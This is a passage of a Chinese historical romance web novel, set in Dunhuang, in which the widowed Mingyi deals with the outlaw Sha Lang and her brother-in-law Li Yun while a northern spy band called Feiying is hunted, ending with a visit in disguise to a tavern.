沙狼撇撇嘴:“一夜屠三门绝非能一两人所为,想来我的猜测没错,‘飞鹰’就算不在敦煌城内,也定就在附近!”顿了下,又道,“他们嫁祸于我,只怕也是想借小凉王之手除掉我,正好一箭双雕。” 明宜蹙眉问道:“你与他们有仇?” 沙狼愤愤然道:“我的三个兄弟死于他们之手,我沙狼迟早要他们血债血偿。” 明宜勾唇一笑:“既是如此,郎君不如与小凉王联手,借由河西军之力,将那飞鹰一网打尽。” 沙狼看向她,哂笑一声,不屑道:“我沙狼发过誓,此生绝不再与公门打交道。” 明宜想起陆浪那桩往事,被他斩杀的宰相儿子,仗着权势在长安为非作歹多年,被他残害女子不计其数,然而告到衙门,从来都是不了了之。 陆浪巡逻时便曾目睹其欺凌百姓,他以金吾卫身份告发过,却也未有下文,还被上官穿了小鞋。 最终他一怒之下,当街斩杀了调戏民女的宰相之子,却也被判处斩首,只怕对朝廷失望透顶。 明宜知道让他归顺凉王几无可能,况且以李赟的性子,若知道这流民之首原本是死囚,还指不定会怎么处置呢? 她想了想,轻笑道:“多谢陆郎君告诉我这些,我会想办法让王爷放了你。” 这句“陆郎君”让沙狼微微一怔,眼神复杂地看了看她。 明宜狡黠一笑:“放心,你的身份我会替你保密。” 陆浪的眸光闪了闪:“草民多谢侯夫人。” 明宜轻笑了笑,站起来与他作了一揖,然后便踅身朝门外走去。 出了门,穿过一节走廊,便是台阶。她提着裙摆拾级而上,走了几步,便看到站在上方的李赟。 他倒是君子,并没有派人偷听。 微光之下,男人面色深沉,右手一直放在腰侧的刀柄上,及至看到她,才不动声色将手挪开,冰寒的眸光也稍稍缓和几分。 “阿兄——” 李赟迈步自上而下朝她走过来,冷声问道:“他没对你做什么吧?” 男人身形高大挺拔,长相冷峻威严,气势慑人,让人不由自主便会生出畏惧。 连问候的声音也是冷沉的。 但明宜却忽然感觉到对方言语之下,有种超出夫兄礼数的关切。 她几乎是被自己这荒谬的念头吓了一跳,古怪地看了眼对方,又才赶紧弯唇笑道:“阿兄,我没事。” 李赟眯了眯眼睛,上下打量她一番。 虽然这样的打量,明宜并不陌生,但从前她总觉得对方是探究或审视,而现在却让她感觉到一种让人心惊胆战的侵略。 以至于忽然让她后背发凉。 好在李赟很快便将目光对上她的眼睛,然后点点头,抬手对身后的人吩咐:“吴刺史,下去将人好好看管着。” 吴刺史拱手应诺,率领役卒,匆匆朝地牢跑去。 李赟又对明宜淡声道:“走吧。” 明宜跟上他走出地牢。 眼前骤然变明,刚刚她心中那古怪的念头也随之消失殆尽。 “沙狼与弟妹说了什么?”李赟转头看她一眼,轻描淡写问道。 明宜如实回道:“他说马商灭门因是飞鹰所为。” “飞鹰?” 明宜问:“阿兄不知道飞鹰?” 李赟:“我应该知道?” 明宜轻咳一声:“说是沙洲洲两地一支沙匪,但其实是北狄突涅小可汗手下的组织,沙狼的三个兄弟被飞鹰所杀,杀狼也杀过他们的人,算是结下了仇怨,这回杀马商嫁祸沙狼,应是想借用阿兄之手将沙狼除掉。沙狼一直在找他们,只是这飞鹰神出鬼没,没在沙漠中留下任何踪迹,如今看来,只怕就潜伏在敦煌城附近。” 李赟眉头深深蹙起,显然对此事确实一无所知,片刻,忽然又抬眸看向她:“弟妹相信这流民的话?” 明宜微微一怔:“我觉得他应该没有说谎。” 李赟冷笑一声:“若真有这个飞鹰,一个流民倒是比刺史更有本事。”说着怒声吩咐,“让吴刺史马上来见我!” 他声音冷厉,明宜不由得一抖。 小凉王在沙洲的情报,大都来自刺史府,他既然未曾听过这飞鹰,要么是吴刺史瞒报,要么是不知情。 以吴刺史的忠心耿耿,没道理瞒报这种事,那只可能是他也并不知飞鹰的存在。 若飞鹰只是单纯的沙匪也便罢了,毕竟沙洲沙匪泛滥,只要不进城劫掠,官府通常都是睁一只眼闭一只眼,也正因如此,才让流民有了护送商队的这项营生。 然而飞鹰是突涅小可汗的人,沙狼知刺史府不知,那问题便大了。 明宜不动声色的瞥了眼怒容满面的人,轻咳一声:“那沙狼也是两个月前才知道的。”顿了下又补充一句,“而且沙狼也不是普通流民。” 李赟意味不明地看向她:“不是普通流民,莫非还有什么不得了的身份?” 明宜赶紧道:“他不是流民之首么?又常在沙漠行走,定然比官府更熟悉沙匪。” 李赟一时没说话,只是愈发神色莫测,以至于明宜都怀疑他是不是看出了什么? 好在对方很快又开口:“弟妹似乎很欣赏这个沙狼。” 明宜确实欣赏陆浪这样轻生重义的豪杰,也为他的经历而惋惜,那样的人,本应建功立业,有大好前程,如今却只能做一个没名没姓的流民。 思及此,明宜稍稍正色,点点头认真道:“嗯,沙狼虽是流民,但所做行侠仗义之事,称得上一句豪侠。” 李赟望着她,幽深灰眸微微眯起,难辨的神色里浮上一丝显而易见的不悦。 明宜一时有些忐忑,意识到自己可能说错了话,毕竟小凉王对这沙狼一向不屑。 她正要说点什么找补,好在吴刺史吭哧吭哧跑了过来。 “王爷!您有何吩咐?” 李赟没看他,只对明宜道:“有劳弟妹了,先去官舍休息吧。” 明宜赶紧行了个礼,跟着侍卫走了。 李赟目送她清瘦背影离开,然后才转过头,瞥了眼跟前的吴刺史,没好气道:“跟我来!” * “王爷恕罪,是……是小的失职!” 吴刺史听了李赟的质问,当即吓得跪倒在地。 他作为沙州刺史,自认在排查北狄细作一事上尽职尽责,每年都会抓获不少潜入敦煌作乱的北狄谍子,可这劳什子飞鹰他闻所未闻。 若只是寻常沙匪也就罢了,竟然是那突涅小可汗麾下细作组织。 他哆哆嗦嗦道:“王爷,会不会是那沙狼为了脱罪胡编乱造?” 李赟猛地一拍案几:“你觉得呢?!” 吴刺史抖了一抖,识相地闭了嘴,屋内静谧了半晌,见对方始终不出声,他又才硬着头皮开口:“那突涅小可汗不过弱冠之年,去岁北狄大汗身体开始抱恙,他才展露头角,这飞鹰也应该潜伏沙洲不久。” 他说得小心翼翼,生怕对方觉得他是为自己的失职找借口,一颗心几乎提在了嗓子眼,只等着那案几再次响起。 好在这回小凉王并没有再怒而拍桌,只冷声道:“那吴刺史打算怎么做?” 吴刺史这回反应得很快,忙噼里啪啦道:“回王爷,臣这就安排人马彻底排查城内城外,但凡有人的地方都不放过!” 李赟面色稍霁,冷哼一声道:“还不快去!” 吴刺史暗暗舒了口气,双手举过头顶应了一声“诺”,弓着腰起身,拱手退了出去。 待人都退下,楚飞上前一步,试探问道:“王爷,那沙狼该如何处理?要不要直接杀了?” 说着,还做了个咔嚓的手势。 李赟木着脸望向他,良久才皮笑肉不笑道:“你说呢?” 楚飞虽然一根筋,但自家主子的反应,还是能分辨清楚的,对方此时的表情,显然是在嘲笑他的提议。 他摸了摸脑袋,轻咳一声:“那……” 李赟淡声道:“你去通知我们在城中的人,让他们再仔细去查沙狼的来历,我就不信,什么都查不出来。” “明白。” 凉王府与沙洲相隔甚远,若消息都靠刺史府传达,官员们为了乌纱帽,免不了欺心诳上,因而每州坊间凉王府都有安插暗线。 只是依照暗线的情报,不仅没有飞鹰,这沙狼的来历也一直成迷。 李赟有些头疼地揉了揉眉心,瞥了眼窗外天色,这一番折腾,竟是不知不觉已临近晌午。 那千佛洞今日是去不了了。 * 明宜跟着府中小厮来到膳堂时,李赟和周子炤已经在里面坐着饮茶。 “阿兄。”她走进去行了礼。 李赟点点头,示意她坐下:“这几日大约要忙,趁今日得空,与你们一起用个膳。” 明宜道:“阿兄庶务要紧。” 周子炤笑呵呵道:“表兄你赶紧把那北狄细作铲除,我也好放心大胆到处去转转,好不容易来一趟,这沙洲风景可不能错过。” 李赟淡声道:“在城中走走还是可以的,但这几日千万别出城。” 周子炤嘟哝道:“我这不就是想看看城外那千佛洞么?” 李赟看了眼明宜道:“过几日,我带你和弟妹去看。” “那我等着。” 李赟又拿起茶杯呷了口茶,这才再次好整以暇看向明宜,似是随口问道:“弟妹,你说为兄该如何处理那沙狼?” 明宜斟酌了下,道:“既然他也在寻找飞鹰,阿兄不如利用他将那飞鹰拔出来一网打尽。” 李赟皮笑肉不笑扯了下嘴角:“我倒是有此打算,只是这沙狼素来不和公门打交道,恐怕此路不通。” 明宜点点头:“这倒也是。” 以陆浪的性子,让他与高高在上的小凉王合作,显然不可能。 她正若有所思着,李赟忽然又冷不丁问:“弟妹,你说沙狼为何如此抗拒公门?” 明宜一愣,抬眸对上那双意味不明的深邃灰眸,笑了笑道:“流民嘛,背景多少有点复杂。” 李赟也笑:“我过往也与不少流民打过交道,只要衙门给立功机会,他们都巴不得。但如今立功,甚至辉煌腾达的机会就摆在面前,沙狼还是不为所动。”说着,顿了顿,“只怕不是背景有点复杂那么简单了。” 明宜还未说话,周子炤已经眨巴着眼凑过头道:“照表兄你这么说,这沙狼不会是犯过重罪的穷凶极恶之徒吧?” 明宜心中微微一怔。 而李赟则看着她,但笑不语。 好在周子炤又撇撇嘴道:“不应该啊,我打听过了,沙狼在沙洲声望极高,绝不是什么大奸大恶之人。” 明宜笑着接话:“而且就算犯过重罪,定然也不是在河西,有何重要?” 李赟笑着点点头:“弟妹说的是。” 明宜先是一愣,继而又像是想到什么似的,道:“依我看,既然沙狼与马商灭门无关,又不会跟公门合作,阿兄不如放了那沙狼,然后再暗中派人跟着他,他查到的线索,自然也就到了阿兄手中。” 周子炤闻言忙不迭点头,伸出大拇指:“三娘子说得没错!” 李赟看了看两人,笑道:“好,我听弟妹的。” 明宜:“……” 这话听起来总觉得有些古怪。 她不动声色地看了眼对方,男人已经低头拿起筷子,开始品尝桌上佳肴,不知有没有觉察她的目光,但并未抬眸,只淡声道:“这道烩羊肉不错,五郎、弟妹,你们也吃。” 周子炤笑嘻嘻动筷:“表兄,你这几日安心去忙,我老老实实待在刺史府,绝不会给你添乱。” 李赟轻笑:“那我可真感谢你。” 周子炤道:“我一直也没给你添乱吧?” “嗯。” 或许是已经经历过大场面,马商灭门和飞鹰的事,倒是并未影响这顿午膳的其乐融融。 只是这顿饭后,及至第二天上午,李赟都没再出现在官舍。 明宜只听说小凉王和吴刺史在处理马商灭门一事,沙狼昨晚已经被释放。 刺史府自然没有流民再来闹事。 因不便擅自出门,她正在官舍无所事事,忽然有人传报,说沙狼在门口求见。 明宜微微讶异,赶紧跟着人出门,果然见到陆浪抱着他那把刀立在门口。 看来,那刀也已还给他。 “草民见过侯夫人!” 见到她出来,对方恭恭敬敬拱手行了个礼。 不愧是金吾卫出来的人,这礼行得相当标准。 明宜笑着回礼道:“郎君客气了,郎君找我可是有事?” 陆浪笑着看向她:“多亏侯夫人,我才能顺利从刺史府地牢出来,我特来感谢夫人。” 明宜先是一愣,继而又笑道:“你释放乃是王爷的意思,与我无甚关系。” 陆浪却是摇摇头笑道:“我想若不是侯夫人替我求情,小凉王恐怕不会这么快放我出来。” 明宜倒也没推脱:“我并未求情,只是随口提了一句。王爷放你,定是有他自己的考量,郎君不用谢我。” “要的。”陆浪依旧道,“所以我想请侯夫人去吃杯茶,不知侯夫人可否赏脸?” 明宜微微一怔,一时有些犹疑,毕竟这是一个才有两面之缘的陌生男人,虽然自己知道他的来历,可到底复杂。 陆浪挑挑眉头,轻笑道:“怎的?侯夫人是担心草民吃了你么?” 明宜反应过来,也笑:“郎君说笑了。” 陆浪笑着叹了口气,轻描淡写道:“侯夫人放心,我沙狼从不对女子行轻薄之举,更不会强取豪夺,这是敦煌,与我一起,也绝对没人敢动你。”顿了下,又补充一句,“夫人不仅帮了我,对我来说,或许还算一个故人,所以我真心实意想请夫人吃杯茶。” “好。”这回明宜没再犹豫,一来是直觉告诉她,此人坦坦荡荡,对她毫无企图,二来确实如他所说,在这敦煌城中,有沙狼在,便很安全。 陆浪见她答应,面上浮上爽朗的笑意,又对她拱拱手,指了指旁边的马车:“侯夫人,请!” 因为李赟不在府中,她也不用跟谁请示,只让小厮给白芷留了话,便上了陆浪的马车—— 作者有话说:小凉王:弟妹跟别的男人出去喝茶了,天塌了~~【..top】 40-50 第41章 第 40 章 君子 沙狼带明宜去的茶楼, 名叫君再来,就在城中央,距离刺史府并不远。 此时已临近晌午, 正是门庭若市时, 好在陆浪已预定好座位,他一到, 茶博士便点头哈腰行礼, 领着人上楼:“郎君,你爱喝的蒙顶黄芽已经备好, 是昨日新到的。” 明宜默默看了眼沙狼, 看来此人并未真的忘记故土。 这蒙顶黄芽正是长安一带最流行的茶。 陆浪笑了笑, 从腰间拿出两个铜钱打赏给对方:“有劳了。” 那茶博士看了看明宜, 看出她是女子,虽然心中好奇, 却也不敢多问, 毕竟敦煌龙蛇混杂,,做他们这行的, 有钱赚就行, 最忌讳好奇多嘴。 包间在二楼, 打开窗牖,便能看到熙熙攘攘的街道。 两人临窗而坐,茶博士上了茶水和点心,便笑呵呵退了出去。 陆浪先端起茶杯, 轻轻呷了口,虽然他留着虬髯,落拓不羁, 但饮茶的动作,却颇有几分文雅之气。 明宜见状,随口道:“听闻陆家在咸阳也乃是世家大族。” 陆浪轻笑点头:“勉强算是,不过我自幼父母双亡,并未得到多少家族荫蔽。” 明宜笑:“我知陆郎君乃是靠自己本事进的金吾卫。” 陆浪叹了口气:“前尘往事无需再提。”说着看向她,笑道,“我听闻西平侯过世不过两月,侯夫人亲自送他回凉州安葬。” “嗯。” 陆浪道:“不过侯夫人倒是没多少丧夫的忧愁。” 明宜淡淡一笑:“夫君抱恙多时,家中早有预料,如今送他归乡了了心愿,我已无遗憾。人生在世,总要看开,不必陷入忧愁不能自拔。” “女子就该如侯夫人这般心胸豁达。”陆浪点点头,笑道,“侯夫人年纪轻轻,才貌双全,大宁民风也还算开放,日后再嫁高门,想来也不是什么难事。” 明宜微微一怔。 陆浪继续道:“不过定是比不上凉王府。” 明宜回神:“郎君说笑了。” 陆浪勾了勾嘴角:“当然,侯夫人若是打算留在凉王府,倒也无可厚非。” 明宜蹙眉,皮笑肉不笑道:“你这话是何意?” 陆浪端起茶盏,轻轻呷了口,才又道:“小凉王此番出行乃是为了整顿军务,布防狄患,却带着侯夫人同行,审讯我时,甚至让夫人并排而坐,想来侯夫人对小凉王来说很不一般。” 明宜几乎是下意识冷声反诘道:“胡说八道,王爷带我同行,乃是因为我会番语,可助他一臂之力。” 她这反应,几乎是带着点怒意,说完自己都有点愕然,不知为何竟有种做贼心虚的味道。 陆浪见状微微一怔,继而又笑道:“虽然不知侯夫人番语如何,不过以夫人的聪慧,定是能助王爷一臂之力,倒是我过度揣测,有失分寸,冒犯了侯夫人,我与夫人赔个不是。”说着朝明宜举了举杯。 明宜干干笑了笑:“无妨。” 说着端起茶杯喝了口,压下心中莫名涌上的纷乱,欲盖弥彰般朝窗外看去。 这一瞧不打紧,却见一队兵卒正从楼下经过。 明宜蹙起眉头,认真看去,看出他们应是在搜查。 陆浪顺着她的目光,看向下方,笑着开口:“侯夫人,你说是小凉王先找到飞鹰还是草民先找到?” 明宜愣了片刻,将目光收回,轻笑道:“依我看,若是郎君能与王爷联手,那定能事半功倍。” 陆浪了然般点点头,戏谑道:“侯夫人果然是来助小凉王一臂之力的。” 明宜稍稍正色:“陆郎君,我是认真的,狄患当前,若你能伸出援手,沙洲乃至河西定能安全几分。” “侯夫人太抬举在下了,以小凉王的本事,哪需要我的援手。”陆浪嗤笑了声,“再说了,我发过誓不会和公门打交道,何况是小凉王这种王孙贵胄。” 说罢,他忽然将茶杯推开,从腰间解下酒囊,笑道:“我还是喜欢喝这个,侯夫人不介意吧。” 明宜摊摊手:“郎君请便。” 陆浪捧着酒囊猛地灌了两大口酒,抬手豪爽地擦了把嘴边水渍,深呼吸一口气道:“侯夫人从长安来,不知如今长安是何模样?” 原来请自己喝茶是为了说这个。 明宜笑道:“此地往返长安的胡商这么多,郎君没曾问过他们么?” “问过。”陆浪笑着点头,“可胡商眼中的长安,与我记忆中的都不一样。” 明宜问:“郎君记忆中的长安是何模样?” 陆浪蹙眉沉思了片刻,忽然又舒眉笑开:“繁花如锦,盛世太平。” 明宜觉得他像是醉了,可明明只是喝了两口酒。 陆浪几乎有点絮叨起来:“长安一百零八坊,东西二市,每一块石板我都踏过,每一家酒肆我都去过。” “那我倒是不如郎君。”明宜笑。 陆浪忽然站起来,又灌了一口酒,笑着高声道:“新丰美酒斗十千,咸阳游侠多少年。” 明宜看着他,脑中浮上当年那春风得意的少年武状元,忍不住接道:“相逢意气为君饮,系马高楼垂柳边。摩诘居士这首诗,真真是当年陆郎君的写照。” “好好好。”陆浪哈哈大笑,“没想到有生之年,我还能在敦煌遇到侯夫人这样的知音。” 明宜:“……” 怎么就知音了? 她轻咳一声:“陆郎君应该很想念长安吧?” 陆浪忽的默然,缓缓坐下来,脸上豪爽的笑容,也渐渐变成落寞,继而苦笑道:“我是已死在长安的人,这一生只能留在沙洲,再也回不去了。” 明宜挑挑眉:“若郎君投靠小凉王,或许还有机会回长安。” 陆浪看向她,默了片刻,才又挑挑眉笑道:“侯夫人果然是小凉王的好帮手。” 明宜失笑:“或许我是在帮你。” “侯夫人好意草民心领了。”男人玩世不恭地一笑,“只可惜我与小凉王这样的贵胄,乃是道不同不相为谋。” 明宜没再继续游说,免得遭人生厌,只是喝了口茶,又随意朝窗外看去。 这一看不打紧,却见楼下熙熙攘攘的街道中,不知何时站了道高大挺拔身影,正昂头望着自己这扇窗。 明宜一时猝不及防,被刚入喉的一口茶水,猛得呛住,赶紧抬袖掩面轻咳。 陆浪见状,也下意识朝窗下看去,然后便轻笑着促狭道:“坊间都说小凉王名字能小儿夜啼,看来侯夫人对他也怕得紧。” “郎君说笑了。”明宜放下袖子,因为刚刚咳嗽,原本白皙的面颊,染上了两团绯红,不施粉黛素净的脸,也便多了几分明艳之色。 陆浪不动声色别开眸光,再次转头看向下方的人。 只见李赟浓眉微微蹙了下,迈步越过熙攘人流,朝茶楼走过来。 陆浪挑挑眉头,将酒囊系回腰间,端起茶杯将剩下的半杯茶水,一饮而尽,重重舒了口气,笑道:“看来今日这顿茶只能吃在这里,侯夫人,我们后会有期。” 说着站起身,径自往门口走。 他抬手将门打开,果然见到那道长身玉立的身影,已经杵在门口。 明宜见状,赶紧起身,拱手行礼道:“阿兄。” 李赟越过沙狼看向她,轻描淡写点点头,冷峻的脸上看不出表情,但隐约可见藏着一丝若有若无的愠怒。 他的目光在短暂在明宜脸上停留片刻,便收回来,看向面前的男人。 陆浪笑着与他拱拱手,抬步跨出门槛,与对方擦肩而过。 李赟微微转头,睥睨般看向对方背影,冷声道:“沙狼,你最好别让我查到你有何见不得人的过往。” 陆浪身子微微一怔,继而又不紧不慢转头,笑着与对方揖了一礼道:“那可真是劳贵人在草民身上费心了。” 李赟冷笑一声,抬脚走进包间,然后将门猛得甩上。 门口的陆浪,微微一怔,下意识摸摸鼻子,继而又好笑地摇摇头,解下酒囊昂头灌了口酒,优哉游哉离去。 而屋中的明宜,也是被李赟这动静,弄得心下一跳,下意识又唤了一声“阿兄”。 李赟抬眸,看到女人微微睁大的眼睛,欲盖弥彰般轻咳一声,淡声道:“我办公务正好路过这边。” 说罢,来到她对面径自坐下,目光落在面前被人用过的茶具,面上露出一丝嫌恶,高声唤来茶博士,让人换了一套新茶具,又新叫了一壶茶。 明宜原本以为他上来,是叫自己回去,哪晓得他就这么施施然坐定,大有一副好好吃一顿茶的架势。 她也只得重新坐定。 茶博士要给两人斟茶,被李赟挥手打发出去,然后自己拿起茶壶,亲手斟了两杯,他叫的是龙神茶,乃是河西特产,比起刚刚的蒙顶黄芽,茶香味更加浓郁。 李赟将其中一杯,推至她跟前:“弟妹来河西这么久,我们二人好像还没一起吃过茶。” 明宜刚刚喝了两杯茶,已经装了一肚子茶水,实在不愿再饮,只拿着茶杯,讪讪笑了笑,道:“阿兄不是在忙公务吗?” 好在李赟并未逼她饮茶,只淡声道:“无妨。”说罢自顾地低头呷了口茶,又才撩起眼皮看向她,似是随口问道,“弟妹怎的一个人出来?” 明宜轻笑道:“沙狼以为阿兄放他,是我在阿兄跟前说情,便上门请我吃茶,我想着看能不能从他口中问出飞鹰的线索,便来了。” 李赟不动声色继续道:“这是敦煌,鱼龙混杂,你独自出门,实在不安全,何况还有北狄人潜伏在此,万一你被盯上,如何是好?” 明宜笑道:“阿兄不用担心,正是因为这是敦煌,我才敢跟沙狼出来,别忘了他可是流民之首,别说寻常北狄贼人,就是鲁刺儿,在敦煌城中,只怕也没本事从沙狼手中全身而退。” 李赟蹙了蹙眉,看向她的深灰色眸子微微眯起,皮笑肉不笑道:“弟妹是觉得这流民之首的本事大过本王。” 明宜惊觉自己失言。 毕竟那鲁刺儿可是三番两次从小凉王手中脱身,自己这番话确实有失妥当。 她赶紧笑着道:“他毕竟在敦煌多年,对本地熟悉,满街流民都能做他耳目,在他手下闹事,定然不容易。但若真的对上北狄人,他和他那些流民,如何能与阿兄和您的河西军相提并论?” 李赟面色稍霁,又轻描淡写道:“不管怎样,弟妹日后别独自和他见面。” “为何?”明宜不解道,“我还想帮阿兄早日查到那飞鹰踪迹呢。” 李赟轻笑:“先前怎的没见你这般积极帮我?” 明宜有些冤枉:“先前我能帮上阿兄的也实在不多。” “弟妹的好意阿兄心领了。”李赟神色莫测地看了看她,又垂下眼眸,手指轻轻摸索着手中茶杯,淡声道,“只是你毕竟是女子,独自与男子相会,到底不合礼数。” 明宜先是一愣,忽然又噗嗤轻笑出声:“这里是沙洲,活着便是第一,哪里需要讲那些虚礼。何况,阿兄不是一向不屑这些束缚人的礼数么?” 不然也不会带她同行,当然,这话她并未说出口。 两人从初见到如今,不过一月有余,但到底朝夕相处,对明宜来说,对方早不是陌生人,说话自然也就不似从前那样斟酌太多。 李赟再次抬眸,却没有立刻接话,只是用那双深邃灰眸,定定凝望着她。 良久,才忽然意味不明般,一字一句道:“弟妹当真觉得我是个不在意礼数的人?” 明宜微微一怔,这一路来,对方待自己,无论是作为兄长,还是一个男子,确实都未曾有半点失礼。 她刚刚说这话,只是想起先前他处理李澄和萍娘之事时,对纲常伦理的不屑之态。 思及此,她笑了笑:“阿兄只是不屑规训人的礼教,但一向有君子之礼。” “君子?”李赟挑挑眉头,似是觉得有些好笑,“我可从来不是君子,也不屑做君子。” 明宜笑说:“是否是君子,乃是在别人眼中,而非自己觉得。在我看来,阿兄便是一等一的君子。” 李赟意味不明地瞥了她一眼:“那本王只怕会让弟妹失望了。”说罢又举杯呷了口茶,才淡声道,“飞鹰的事,我会自己查,你不用再找沙狼,除非你认为本王比不得那流民之首。” 明宜哪里还敢说什么,只举杯道:“那我祝阿兄早日查到飞鹰,一网打尽。” 李赟扯了扯嘴角,拿起杯子与她碰了碰:“承弟妹吉言。” 明宜想着对方有公务,应是不会在茶楼停留太久,却不料对方不紧不慢,喝光了整整一壶茶,才起身带自己离开。 当然这一壶茶,自己也小有贡献,回程的马车上,明宜只觉得两种茶水满满当当在自己肚中晃荡。 以至于当晚躺在床上,毫无睡意,辗转反侧到月上中天,才勉强睡去。 * 接下来几日,小凉王早出晚归,明宜几乎不见他踪影。 而因对方在茶楼的叮嘱,她也不好再擅自出门,只能在官舍看书,或看周子炤与人蹴鞠打发日子。 也实在是有些无趣。 日子仿佛一下没了尽头。 原本想着这趟西行,来回不过一月,照这样下去,返京之日,不知要等到几时。 到了第四天晚上,刚刚月上柳梢,正在屋中点了灯翻书的明宜,忽然听到院中似有李赟的声音传来。 她赶紧起身去开门,果然见到李赟正往房间走,她忙不迭唤道:“阿兄——” 李赟转过身,借着廊下宫灯看向她:“弟妹还未休息?” 说起来,这倒是自打入河西来,两人第一次这么久未打照面,以至于明宜望着灯下半明半暗的那张脸,心中忽然涌上一股说不上来的异样。 她抿抿唇,压下心头古怪,走过去问道:“阿兄,事情进展地怎样了?” 李赟轻笑回道:“尚未有眉目,不过确实查到一伙来历不明行踪诡谲的沙匪。” “是吗?”明宜喜上眉梢,“那定然跟飞鹰脱不了干系。” 李赟却是微微歪头,好整以暇看着她道:“弟妹好似有点等不及了。” 明宜道:“那飞鹰杀了三大马商,弄得人心惶惶,我自然是希望阿兄早日将人擒获。而且……”她顿了顿,又才继续,“早日了了沙洲之事,我们也好早些回凉州。” 李赟轻笑问:“弟妹是想早些回凉州,还是早些回长安?” 明宜笑着回:“江寒伤势应该快痊愈,母亲也在长安等着我带消息回去,只怕已经等得有些心急,我是该早日回长安。” “母亲那边弟妹不用担心。”李赟冷不丁道。 明宜不明所以地看向他。 “在离开凉州前,我已去信给母亲,说阿玉已经入土为安,你会多留在凉州一些时日,我会好生照顾你,让她不用担心。” 男人语气平静,像是在说一件再平常不过的事,实际上这事本也平常,只是柔灯之下,男人的脸影影绰绰,叫明宜看不出表情,便让她莫名生出一股忐忑不安。 这种不安在刚到凉州时曾有过,只是随着出行,见到广阔风景,做了许多曾经未曾做过的事,便渐渐地淡去,直到此时,忽然又生出来。 她深呼吸一口,将这杂乱的念头压下去,轻笑道:“那我就放心了,只是飞鹰总还是越早除掉越好。” 李赟点点头,又说道:“弟妹这几日在官舍未出,怕是有些无聊。这样吧,你今晚随我去一个地方。” “什么地方?”明宜好奇问。 李赟推开门,让她跟自己进去,又从柜中拿出一套假胡须和一枚药丸递给她。 明宜不明所以。 李赟解释道:“去这个地方,弟妹乔装一番比较方便。” 明宜接过胡须,又看了看药丸,她知道在易容术中,有一种丹药,服下后可短暂改变人音色。 她先将丹药服下,只觉嗓子里一阵火热,下意识开口:“阿兄……” 这粗哑如男子的声音一出,她顿时吓了一跳,不可思议地睁大眼睛看向对方:“以前只听过有这种丹药,没想到效果如此神奇。”说着,摸了摸喉咙笑道,“我现在岂不是看不出来是女子?” 李赟听着这把男儿的嗓音,望着面前笑靥如花的女子,脸上也忍不住荡起笑意,他想了想,拿过对方手中的胡须,扬了扬:“还得要这个才行。” 明宜怔愣间,对方已经伸手亲自来给她贴胡须。 他动作很轻,但手指触到自己面颊时,她还是能感觉到手指的粗粝和温度。 而对方也因着贴胡须的动作,微微倾身向前,原本隔着半米的两人,眼下只隔了咫尺,连带呼吸也因此交织。 明宜望着对方那张俊美的脸,虽然因为光线昏沉,看不太清,却能感受到对方的目光,此刻直直落在自己脸上。 明明那是一双冷冽的眸子,但她却觉得自己被他看着的脸,如火燎一般。 而黑暗还让感官放大,对方手上的动作,变得越发清晰,那手指动得很慢,像是小心翼翼一般。 若不是隔着一层胡须,那手指仿佛是在自己脸上轻轻抚摸。 连带着时间,仿佛都跟着变慢。 明宜一时心如擂鼓,下意识退后一步,轻咳一声道:“有点痒,我自己来。” “哦,好。” 李赟放下双手,又下意识轻轻摸索了下手指,像是想将指间余温留住。 明宜抬手胡乱按了按脸上胡须,眨眨眼睛问道:“阿兄,怎么样?可以了么?” 李赟点点头,勾唇道:“嗯,不错。” 明宜舒了口气,又好奇问:“那我们现在是要去哪里?” 李赟:“跟我来便知。” “我要叫上白芷吗?” “不用,不方便。” “哦。” 明宜从善如流跟着对方出门,待上了马车,才知道对方也没带楚飞和其他随从。 她惊讶道:“阿兄这样出门?不怕危险么?” “放心,有暗卫。” 这一路来,明宜见识过凉王府暗卫的本事,平日里不见踪影,她也不知有多少人,是何模样,但关键时刻总能出现。 也就放下了心。 在官舍闷了几天,难得出门,她不免有些兴奋,又见李赟神神秘秘,越发好奇。 直到马车停在一处红灯摇曳的楼宇前,上面赫然挂着“望春楼”三个大字。 明宜这才知道李赟竟是带她来这种地方。 据她所知,望春楼乃是城中最大的胡姬酒肆,也是敦煌城中男人们的销金窟,里面不仅有美酒,还有美人。 李赟先行下了车,站在下方替明宜打起帘子:“弟妹,下来吧!” 明宜探出头踟蹰道:“阿兄,你来这种地方喝酒,让我跟着是不是不大方便?” 李赟淡声道:“你跟着才方便。”—— 作者有话说:男主没这么快进攻的原因,确实是因为君子,毕竟弟才死了两个月,虽然弟泉下有知应该分欣慰(啊喂~ 第42章 第 41 章 只用其才,而无关风月…… 明宜犹疑了片刻, 到底还是下车,一来是对这大名鼎鼎的“望春楼”好奇,二来是她猜到李赟此行并非单纯喝酒。 只身来此, 只怕是为了引蛇出洞。 如今在敦煌, 小凉王在明,飞鹰在暗, 要让飞鹰主动冒出头, 小凉王显然是最好的诱饵。 “客官,里面请!”酒博士领着人进屋。 一踏进大堂, 便见笙歌乐舞, 觥筹交错, 一股纸醉金迷感扑面而来。 李赟却看也没看台上曼妙的舞姬, 只轻车熟路去上楼,随手赏了酒博士一枚银饼, 道:“一间上好的包厢, 再把你们东家叫过来,就说李郎来了。” 酒博士喜滋滋接过银饼,油嘴滑舌道:“郎君可赶巧, 正好还有一间最好的包厢, 就给两位郎君留着呢。” 两人进了包厢, 酒博士赶紧上来茶酒,刚刚退出去,便见一个身穿大红襦裙,美艳无比的女郎, 从门口款款走进来,人还未走近,满身的芳香馥郁先随风而至。 这女子正是望春楼东家, 名唤叶弥儿。 她皮肤白皙如羊脂玉,眼窝深邃,褐色眸子含波带水,身形丰腴而腰肢纤细,举手投足间,皆是风情。 对方走过来,直接跪在地上,恭恭敬敬举起双手,与李赟行了个礼:“弥儿见过李郎。” 虽然未献媚卖弄风情,但看向李赟时,眉眼之间的情意,却丝毫没有掩饰。 想来是故人了。 可李赟对此似乎浑然不觉,看也没多看对方一眼,只轻描淡写指了指旁边的位置道:“坐吧。” 叶弥儿盘腿坐下,伸手拿了酒壶给两人斟酒,开口的语气带了几分嗔怨:“听闻李郎来沙洲已经多日,怎的今日才来望春楼,莫非是将弥儿忘了?” 李赟轻笑了笑:“我这不是来了么?” 叶弥儿也笑,这才又看向明宜:“李郎,这位郎君是谁,从前未曾见过?” 李赟轻描淡写道:“哦,他是我的随行译人,你叫他宋郎便好。” 叶弥儿掩嘴噗嗤一笑:“李郎来我望春楼,还怕听不懂我说话么?”说着又看着明宜道,“既是译人,那让奴家来考考宋郎君,看你能不能听懂我的话?” 说着便叽里咕噜说了两句番语。 明宜眨眨眼睛,一时没有回答。 李赟转头借着烛火好整以暇看向她。 叶弥儿叹息一声,掩面失落道:“我就知这世上再没人能听得懂吾乡之言。” 